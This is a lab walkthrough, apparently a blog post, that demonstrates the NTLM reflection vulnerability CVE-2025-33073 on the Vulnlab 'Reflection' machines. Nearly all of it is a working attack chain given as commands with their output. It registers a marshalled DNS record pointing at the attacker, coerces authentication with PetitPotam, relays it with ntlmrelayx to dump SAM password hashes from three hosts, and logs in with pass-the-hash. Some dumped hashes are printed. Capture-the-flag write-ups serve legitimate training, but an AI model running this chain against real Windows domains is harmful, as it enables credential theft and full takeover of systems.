This post only demonstrates the attack. For a detailed writeup on the “Reflection” chain, I’ve already created one, which you can find here: https://seriotonctf.github.io/Reflection-Vulnlab/

Recently, Synacktiv published a blog post about CVE-2025-33073, an NTLM Reflection attack. In this post, I’ll demonstrate how this vulnerability can be leveraged in the “Reflection” chain from Vulnlab. For an in-depth analysis, refer to the original blog post by Synacktiv

Conditions

For this attack to succeed, the following conditions must be met:

  • SMB signing must be disabled on the target
  • The attacker must have permission to create DNS records

Attack

First, we need to check whether our targets have SMB signing disabled or not

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➜  nxc smb targets.txt
SMB         10.10.163.39    445    WS01             [*] Windows 10 / Server 2019 Build 19041 x64 (name:WS01) (domain:reflection.vl) (signing:False) (SMBv1:False)
SMB         10.10.163.37    445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:reflection.vl) (signing:False) (SMBv1:False)
SMB         10.10.163.38    445    MS01             [*] Windows Server 2022 Build 20348 x64 (name:MS01) (domain:reflection.vl) (signing:False) (SMBv1:False)
Running nxc against 3 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

netexec confirms that SMB signing is not enforced (signing:False) on all three target machines, making them potentially vulnerable to this attack

Registering a DNS Record

We need to register a new DNS record, in this case localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA and make it point to our IP address

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➜  dnstool.py -u 'reflection.vl\abbie.smith' -p '<REDACTED>' 10.10.163.37 -a add -d 10.8.0.210 -r 'localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA'
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

Alternatively, we can create a new DNS record using the hostname of the machine we want to exploit, for example, DC01

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➜  dnstool.py -u 'reflection.vl\abbie.smith' -p '<REDACTED>' 10.10.163.37 -a add -d 10.8.0.210 -r 'DC011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA'
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

Let’s verify that the DNS record has been created and is pointing to our attacker’s IP address

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➜  dnstool.py -u 'reflection.vl\abbie.smith' -p '<REDACTED>' 10.10.163.37 -a query -d 10.8.0.210 -r 'localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA'
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found record localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
DC=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA,DC=reflection.vl,CN=MicrosoftDNS,DC=DomainDnsZones,DC=reflection,DC=vl
[+] Record entry:
 - Type: 1 (A) (Serial: 90)
 - Address: 10.8.0.210

Alternatively, we can use the dig command

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➜  dig localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.reflection.vl @DC01.reflection.vl

; <<>> DiG 9.18.30-0ubuntu0.24.04.2-Ubuntu <<>> localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.reflection.vl @DC01.reflection.vl
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 20625
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.reflection.vl. IN	A

;; ANSWER SECTION:
localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.reflection.vl. 180 IN A 10.8.0.210

;; Query time: 63 msec
;; SERVER: 10.10.163.37#53(DC01.reflection.vl) (UDP)
;; WHEN: Sun Jun 15 15:28:07 CET 2025
;; MSG SIZE  rcvd: 112
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➜  dig DC011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.reflection.vl @DC01.reflection.vl

; <<>> DiG 9.18.30-0ubuntu0.24.04.2-Ubuntu <<>> DC011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.reflection.vl @DC01.reflection.vl
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 13727
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;DC011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.reflection.vl.        IN A

;; ANSWER SECTION:
DC011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.reflection.vl. 180 IN A 10.8.0.210

;; Query time: 62 msec
;; SERVER: 10.10.163.37#53(DC01.reflection.vl) (UDP)
;; WHEN: Sun Jun 15 15:34:06 CET 2025
;; MSG SIZE  rcvd: 156

Coercion

Now, we just need to coerce authentication to the DNS record we previously created

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➜  PetitPotam.py -d reflection.vl -u abbie.smith -p '<REDACTED>' localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA DC01.reflection.vl


              ___            _        _      _        ___            _
             | _ \   ___    | |_     (_)    | |_     | _ \   ___    | |_    __ _    _ __
             |  _/  / -_)   |  _|    | |    |  _|    |  _/  / _ \   |  _|  / _` |  | '  \
            _|_|_   \___|   _\__|   _|_|_   _\__|   _|_|_   \___/   _\__|  \__,_|  |_|_|_|
          _| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""|
          "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'

              PoC to elicit machine account authentication via some MS-EFSRPC functions
                                      by topotam (@topotam77)

                     Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN



Trying pipe lsarpc
[-] Connecting to ncacn_np:DC01.reflection.vl[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!


We can also use the coerce_plus module from Netexec

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➜  nxc smb DC01.reflection.vl -u abbie.smith -p '<REDACTED>' -M coerce_plus -o METHOD=Petitpotam LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
SMB         10.10.201.85    445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:reflection.vl) (signing:False) (SMBv1:False)
SMB         10.10.201.85    445    DC01             [+] reflection.vl\abbie.smith:<REDACTED>
COERCE_PLUS 10.10.201.85    445    DC01             VULNERABLE, PetitPotam
COERCE_PLUS 10.10.201.85    445    DC01             Exploit Success, lsarpc\EfsRpcAddUsersToFile

Attack Worked

As you can see, the attack was successful, and we were able to perform a SAM dump because the SYSTEM token was used for authentication

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➜  ntlmrelayx.py -t "smb://DC01.reflection.vl" -smb2support
Impacket v0.13.0.dev0+20250415.195618.c384b5fb - Copyright Fortra, LLC and its affiliated companies

[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client MSSQL loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Multirelay disabled

[*] Servers started, waiting for connections
[*] SMBD-Thread-5 (process_request_thread): Received connection from 10.10.163.37, attacking target smb://DC01.reflection.vl
[*] Authenticating against smb://DC01.reflection.vl as / SUCCEED
[*] SMBD-Thread-7 (process_request_thread): Received connection from 10.10.163.37, attacking target smb://DC01.reflection.vl
[*] Service RemoteRegistry is in stopped state
[*] Authenticating against smb://DC01.reflection.vl as / SUCCEED
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xfcb176024780bc221b4c7b3f35e16dfd
[*] Target system bootKey: 0xfcb176024780bc221b4c7b3f35e16dfd
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Done dumping SAM hashes for host: dc01.reflection.vl
[*] Done dumping SAM hashes for host: dc01.reflection.vl
[*] Stopping service RemoteRegistry

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➜  nxc smb DC01.reflection.vl -u administrator -H <REDACTED>
SMB         10.10.163.37    445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:reflection.vl) (signing:False) (SMBv1:False)
SMB         10.10.163.37    445    DC01             [+] reflection.vl\administrator:<REDACTED> (Pwn3d!)

In the same way, we can target MS01 and WS01

MS01

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➜  PetitPotam.py -d reflection.vl -u abbie.smith -p '<REDACTED>' localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA ms01.reflection.vl


              ___            _        _      _        ___            _
             | _ \   ___    | |_     (_)    | |_     | _ \   ___    | |_    __ _    _ __
             |  _/  / -_)   |  _|    | |    |  _|    |  _/  / _ \   |  _|  / _` |  | '  \
            _|_|_   \___|   _\__|   _|_|_   _\__|   _|_|_   \___/   _\__|  \__,_|  |_|_|_|
          _| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""|
          "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'

              PoC to elicit machine account authentication via some MS-EFSRPC functions
                                      by topotam (@topotam77)

                     Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN



Trying pipe lsarpc
[-] Connecting to ncacn_np:ms01.reflection.vl[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
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➜  ntlmrelayx.py -t "smb://MS01.reflection.vl" -smb2support
Impacket v0.13.0.dev0+20250415.195618.c384b5fb - Copyright Fortra, LLC and its affiliated companies

[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client MSSQL loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Multirelay disabled

[*] Servers started, waiting for connections
[*] SMBD-Thread-5 (process_request_thread): Received connection from 10.10.163.38, attacking target smb://MS01.reflection.vl
[*] Authenticating against smb://MS01.reflection.vl as / SUCCEED
[*] SMBD-Thread-7 (process_request_thread): Received connection from 10.10.163.38, attacking target smb://MS01.reflection.vl
[*] Service RemoteRegistry is in stopped state
[*] Authenticating against smb://MS01.reflection.vl as / SUCCEED
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xf0093534e5f21601f5f509571855eeee
[*] Target system bootKey: 0xf0093534e5f21601f5f509571855eeee
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:bb5d8648678f590b8b3051e24a985345:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:bb5d8648678f590b8b3051e24a985345:::
labadm:1000:aad3b435b51404eeaad3b435b51404ee:2a50f9a04b270a24fcd474092ebd9c8e:::
[*] Done dumping SAM hashes for host: ms01.reflection.vl
labadm:1000:aad3b435b51404eeaad3b435b51404ee:2a50f9a04b270a24fcd474092ebd9c8e:::
[*] Done dumping SAM hashes for host: ms01.reflection.vl
[*] Stopping service RemoteRegistry
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➜  nxc smb MS01.reflection.vl -u administrator -H <REDACTED> --local-auth
SMB         10.10.163.38    445    MS01             [*] Windows Server 2022 Build 20348 x64 (name:MS01) (domain:MS01) (signing:False) (SMBv1:False)
SMB         10.10.163.38    445    MS01             [+] MS01\administrator:<REDACTED> (Pwn3d!)

WS01

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➜  PetitPotam.py -d reflection.vl -u abbie.smith -p '<REDACTED>' localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA WS01.reflection.vl


              ___            _        _      _        ___            _
             | _ \   ___    | |_     (_)    | |_     | _ \   ___    | |_    __ _    _ __
             |  _/  / -_)   |  _|    | |    |  _|    |  _/  / _ \   |  _|  / _` |  | '  \
            _|_|_   \___|   _\__|   _|_|_   _\__|   _|_|_   \___/   _\__|  \__,_|  |_|_|_|
          _| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""|
          "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'

              PoC to elicit machine account authentication via some MS-EFSRPC functions
                                      by topotam (@topotam77)

                     Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN



Trying pipe lsarpc
[-] Connecting to ncacn_np:WS01.reflection.vl[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!
[+] OK! Using unpatched function!
[-] Sending EfsRpcEncryptFileSrv!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!
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➜  ntlmrelayx.py -t "smb://WS01.reflection.vl" -smb2support
Impacket v0.13.0.dev0+20250415.195618.c384b5fb - Copyright Fortra, LLC and its affiliated companies

[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client MSSQL loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Multirelay disabled

[*] Servers started, waiting for connections
[*] SMBD-Thread-5 (process_request_thread): Received connection from 10.10.163.39, attacking target smb://WS01.reflection.vl
[*] Authenticating against smb://WS01.reflection.vl as / SUCCEED
[*] SMBD-Thread-7 (process_request_thread): Received connection from 10.10.163.39, attacking target smb://WS01.reflection.vl
[*] Service RemoteRegistry is in stopped state
[*] Authenticating against smb://WS01.reflection.vl as / SUCCEED
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x7ed33ac4a19a5ea7635d402e58c0055f
[*] Target system bootKey: 0x7ed33ac4a19a5ea7635d402e58c0055f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:236728438532f0f1a57360173bda0575:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:236728438532f0f1a57360173bda0575:::
labadm:1001:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
[*] Done dumping SAM hashes for host: ws01.reflection.vl
labadm:1001:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
[*] Done dumping SAM hashes for host: ws01.reflection.vl
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry
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➜  nxc smb WS01.reflection.vl -u administrator -H <REDACTED> --local-auth
SMB         10.10.163.39    445    WS01             [*] Windows 10 / Server 2019 Build 19041 x64 (name:WS01) (domain:WS01) (signing:False) (SMBv1:False)
SMB         10.10.163.39    445    WS01             [+] WS01\administrator:<REDACTED> (Pwn3d!)

Resources